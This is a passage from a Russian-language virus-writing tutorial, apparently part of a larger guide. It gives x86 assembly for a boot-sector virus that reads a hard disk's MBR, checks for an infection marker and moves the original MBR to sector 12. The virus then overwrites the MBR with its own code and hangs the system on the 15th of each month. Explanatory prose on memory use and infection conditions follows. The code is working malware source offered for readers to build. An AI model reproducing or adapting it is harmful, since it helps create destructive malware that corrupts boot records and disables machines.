Заражаем MBR винчестера

Следуя алгоритму, настало время проверить, заражена - ли MBR первого жесткого диска, и если нет - заразить ее. Поэтому приступим к делу:

push cs ;ES = CS pop es ; ; mov dl,0080h ;Считаем MBR call cs:read_mbr ;винчестера jc cs:to_quit ;по адресу ;CS:0400h, при- ;чем загрузка ;сейчас может ;производиться ;и с дискеты ! cmp byte ptr ds:[400h],33h ;MBR уже зара- je cs:to_quit ;жена ? ; mov dx,0080h ;Нулевая головка ;первого жестко- ;го диска mov cx,000ch ;Сектор 12, ;дорожка 0 mov dl_save - 100h,dl ; ;Сохраним эти ;параметры . call cs:write_mbr_last ;Кроме того, ;перепишем нас- ;тоящую MBR в ;сектор 12 jc cs:to_quit ;нулевой дорожки ;на нулевой сто- ;роне HDD . xor si,si ;Сформируем код mov additor - 100h,00h ;для записи его mov cx,prg_lenght ; copy_vir_mbr: ;на место исход- mov al,byte ptr ds:[si];ной MBR mov byte ptr ds:[si + 400h],al ; inc si ; loop cs:copy_vir_mbr ; ; mov dx,0080h ;Запишем этот call cs:write_mbr ;код в первый ;сектор ну??евой ;дорожки нулевой ;стороны винчес- ;тера to_quit: mov ah,04h ;Наш int 1ah ;вирус при jc cs:bad_clock ;загрузке по cmp dl,15h ;15 - м числам vis: je cs:vis ;вешает систему bad_clock: popf ;Восстановим из pop es ;стека pop ds ;регистры pop si ; pop dx ; pop cx ; pop bx ; pop ax ; ; db 0eah ;И отдадим упра- dw 7c00h ;вление настоя- dw 0000h ;щей загрузочной ;записи ( MBR )

Как вы видите, вирус достаточно свободно "чувствует" себя в памяти. В самом деле - свой код он записывает в младшие 512 байт первого "отрезанного" у DOS килобайта, а MBR винчестера считывает в младшие 512 байт второго килобайта. Так сделано для большей понятности программы и облегчения программирования, но один килобайт памяти фактически тратится впустую (что с некоторой натяжкой можно отнести к вредным действиям нашего вируса). Процедура "read_mbr" читает сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_mbr" записывает данные из буфера по адресу : CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура " write_mbr_last " записывает данные из буфера по адресу : CS:0400h в заданный сектор того или иного диска и заполняет ячейки памяти:

num_head и cyl_sect.

Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода - числом 33h. Далее, в поле "additor" заносится число 00h, необходимое для корректной загрузки с винчестера. Стоит отметить, что заражение MBR происходит исключительно при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет инфицировать только гибкие диски при попытке прочитать их содержимое.А поскольку никому не придет в голову менять жесткие диски во включенной в сеть и работающей машине, нет смысла предусматривать заражение MBR в резидентном режиме. Если же попробовать проделать вышеописанную процедуру, то компьютер с высокой вероятностью выйдет из строя, и вирус " погибнет " вместе с ним.